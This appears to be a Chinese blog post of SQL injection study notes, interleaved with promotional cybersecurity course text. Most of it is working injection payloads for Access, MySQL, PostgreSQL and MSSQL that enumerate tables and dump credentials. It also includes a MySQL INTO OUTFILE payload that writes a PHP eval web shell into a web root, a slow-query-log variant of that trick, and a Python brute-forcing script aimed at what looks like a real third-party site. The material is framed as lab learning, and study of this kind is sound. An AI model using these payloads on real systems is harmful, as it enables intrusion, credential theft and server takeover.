给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
知识补充
- order by的意义:
union
操作符用于合并两个或多个select
语句的结果集。
union
内部的每个 select
语句必须拥有相同数量的列,也就是说select
链接所返回的列必须是相同的,且必须拥有相似的数据类型。同时,每个 select
语句中的列的顺序必须相同。
union select 1,2,3 from ?
语句中:
为何不使用1来做回显数据:通常1对应的是id
列,返回的是int
数据类型,而version(),database()等函数返回的是字符串型的,所以没有回显
- 现如今的网站基本都是前端分离的,也就是说前端服务器与后端服务器,数据库服务器可能不在一个站点。
若是前后端分离的站点进行sql注入时,get方式课查看请求的数据包的dorm data
。 limit
常用于限制返回数据的条数。
limit 1
,表示拿出符合条件的一条数据
limit 0,1
拿出符合条件的一条数据,从索引0开始
limit 1,2
拿出两条数据,从索引1开始
若是前端数据仅仅可以显示一条数据,使用limit X,1
,通过修改X的值来回显更多的内容 。此时就可以使用group_concat()
通过“,”隔开所有想要的内容
1' and 1=2 union select 1,2,3,4,5,6,7
语句中:
前端页面显示的数据库字段并不一定是按照我们定义的1,2,3,4,5,6,7
来展示的,需要查看回显。
按照列数进行拼接,但是前端页面仅仅回显4个字段
,且字段是乱序
的,1,6,7字段未在前端显示。
也就是说sql查出的是7个字段,在前端仅仅显示了4个字段。可以在这四个字段进行回显想要的内容
如图,页面显示
- 一般情况下可以通过查看
报错
来观察是否存在sql注入,有可能在前端页面并不显示,可以通过抓包的response
来观察
有些时候浏览器可能解析不到空格
或者其它符号,所以可以直接使用url编码传入。 - 时间盲注常用函数
count()
:记录数据条数
substr(str,a,b)
/mid(str,a,b)
:截取字符串,a起始位置,b截取个数
sleep(n)
:等待n秒
ascii()
/ord()
:将字符/字符串首字母转为ascii
length()
:返回字符串长度
Acess数据库注入
微软发布的关系数据库管理系统
数据结构:access的只有一个库若干张表
搭配网站:ASP
注入基本流程
- 判断有无注入
- 猜解表名
- 猜解字段
- 猜解管理员ID值
- 猜解用户名和密码长度
- 猜解用户名和密码
查询方式
联合查询:
#判断注入
and 1=1
and 1=2
#猜列数
order by 3
#猜表名(报错说明表名不存在,将admin换成别的继续猜)
union select 1,2,3 from admin
#猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列名继续猜)(列名猜对后输出账号密码)
union select 1,2,username from admin
逐字猜解法:
#判断注入
and 1=1 and 1=2
#猜表名
and exists (select \* from admin)
#猜列名
and exists (select user_name from admin)
#查数据:
1.确定长度
and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
2.确定asc数据(asc编码)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位
(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)
判断有无注入
总结4种方法
粗略型:提交单引号’ 参数值-1
逻辑型(数字型注入):and 1=1 / and 1=2
逻辑型(字符型注入):’ and ‘1’=‘1 / ’ and ‘1’=‘2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’% / %’ and 1=2 and ‘%’='%
MySQL数据库
有sql-lab靶场实验,会写到
MYSQL 统一管理
最高数据库用户=root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
非ROOT的注入攻击:常规类的猜解
ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可!
MYSQL5.0以上版本:自带的数据库名information_schema
获取相关数据:
1、数据库版本-看 是否符合information_schema查询-version()
-5.5.53
2、数据库用户-看 是否符合ROOT型注入攻击-user()
-root@localhost
3、当前操作系统-看 是否支持大小写或文件路径选择-@@version_compile_os
-win
4、数据库名字-为后期 猜解指定数据库下的表,列做准备-database()
-syguestbook
看小迪的爆破’xhcms’,有学习的地方
脚本
版本不对是5版本以下,这个时候只能暴力破解
import requests
import base64
url='http://www.comresearch.org/researchDetails.php?id='
sqlin='1 union select 1,2,3,4,5,6,7 from '
for lieming in open('common-tables.txt'):
lieming=lieming.strip()
s=sqlin+lieming
ss=base64.b64encode(s.encode('utf-8')) # 这里形成的是字节码,所以下面要解密字节码
#print(lieming)
sqlins=url+ss.decode('utf-8')
#print(sqlins)
sss=requests.get(sqlins)
if 'Warning' in sss.text:
print('失败')
else:
print('成功')
print(sqlins)
数据库中文件操作:
需要有文件读取的权限,也就是root权限
读取文件:select load_file('d:/www.txt');
写入文件:select 'xxx' into outfile 'd:/1.txt';
读取关键配置文件:http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
后门代码:
http://127.0.0.1:8081/web/mysql/news.php ?id=1 UNION SELECT 1,'<?php eval($_POST['cmd']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'D:\\phpstudy_pro\\WWW\\web\\mysql\\3.php'
路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv
突破 //限制读写的路径 ,注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连接上对方数据库来绕过
set global slow_query_log=1
set global slow_query_log_file=‘shell路径’
select ‘<? php eval($\_GET[A] ?>’ or SLEEP(11);
关于文件读取和写入请参考文章:http://www.taodudu.cc/news/show-4259716.html?action=onClick
PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current\_user,null,null
– 爆库
and 1=2 union select null,current_database(),null,null # 当前数据库
and 1=2 union select null,string_agg(datname,','),null,null from pg_database #所有数据库
-获取表名:
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg\_users'
-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
参考:https://www.freebuf.com/sectool/249371.html
-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
MSSQL-sa高权限读写执行注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
@@version 获取版本信息
and 1=2 union all select null,db_name(),null,null
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!